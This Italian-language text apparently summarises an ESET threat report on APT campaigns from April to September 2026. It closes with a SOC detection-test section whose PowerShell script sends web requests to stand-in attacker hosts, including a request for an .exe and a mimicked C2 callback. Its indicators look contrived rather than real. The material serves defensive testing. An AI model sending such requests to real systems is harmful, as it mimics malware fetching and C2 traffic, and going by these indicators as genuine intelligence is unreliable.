Rapporto sull’attività APT di ESET Q2–Q3 2026: Campagne chiave e tendenze

Riepilogo

Questo rapporto delinea un’ampia gamma di attività APT osservate tra aprile e settembre 2026. Le tendenze principali includono gruppi allineati con la Cina che prendono di mira organizzazioni governative e semiconduttori, rinnovata attività da parte di attori allineati all’Iran come OilRig, e campagne nordcoreane focalizzate su tecnologia e criptovaluta. Il rapporto segnala anche una crescente coordinazione operativa tra gruppi allineati con la Russia e con la Bielorussia, in particolare contro obiettivi in Ucraina.

Indagine

I ricercatori di ESET hanno analizzato la telemetria per tracciare più cluster di attori di minacce in diverse regioni. L’indagine ha incluso l’identificazione di nuove famiglie di malware, l’esame dei compromessi nella catena di approvvigionamento software e il monitoraggio dell’adozione di strumenti AI nei flussi di lavoro avversari. I ricercatori hanno analizzato anche schemi in infrastrutture, sviluppo di strumenti e cambiamenti nel comportamento di targeting.

Mitigazione

Le organizzazioni dovrebbero rafforzare la sicurezza della catena di approvvigionamento software e monitorare le campagne di ingegneria sociale a tema reclutamento. È inoltre importante proteggere i server di posta MDaemon dallo sfruttamento e proteggere i dispositivi Android da spyware basati su impersonazione. I team di sicurezza dovrebbero tenere conto anche delle tecniche di offuscamento generate dall’AI quando analizzano script e payload sospetti.

Risposta

Quando viene rilevata un’attività sospetta, le organizzazioni dovrebbero condurre un’analisi forense dettagliata degli script, dei repository e del software interessato. Gli intervenienti in incidente devono considerare le tecniche di offuscamento guidate dall’AI, comprese le istruzioni esca progettate per evitare scanner basati su LLM. I compromessi potenziali nella catena di approvvigionamento devono essere immediatamente contenuti e indagati per prevenire ulteriori furti di credenziali e accessi non autorizzati.

Esecuzione della Simulazione

• Narrazione e Comandi dell’Attacco: L’attaccante simulato mira a imitare gli indicatori noti di Turla e del Gruppo Lazarus per testare se il SOC può rilevare stringhe specifiche, hardcoded. Primo, l’attaccante simula una richiesta payload in stile Turla tentando di raggiungere un URL contenente la stringa specifica “Turla’s VBScript Rezzuar”. Secondo, l’attaccante simula un callback phishing a tema reclutamento del Gruppo Lazarus inviando una richiesta HTTP con una stringa User-Agent altamente personalizzata: “Lazarus Group Recruitment”. Ciò imita il comportamento di un sistema compromesso che comunica con un C2 o una pagina di phishing specializzata.

• Script di Test di Regressione:

  # Simulazione di Turla TTP (corrispondenza URL)
  Write-Host "[+] Simulazione Indicatore URL di Turla..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Simulazione di Lazarus TTP (corrispondenza User-Agent)
  Write-Host "[+] Simulazione Indicatore User-Agent di Lazarus..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Comandi di Pulizia:

  # Nessun artefatto persistente viene creato dalla simulazione poiché utilizza solo richieste web in memoria.
  Write-Host "[+] Simulazione completata. Nessuna pulizia richiesta."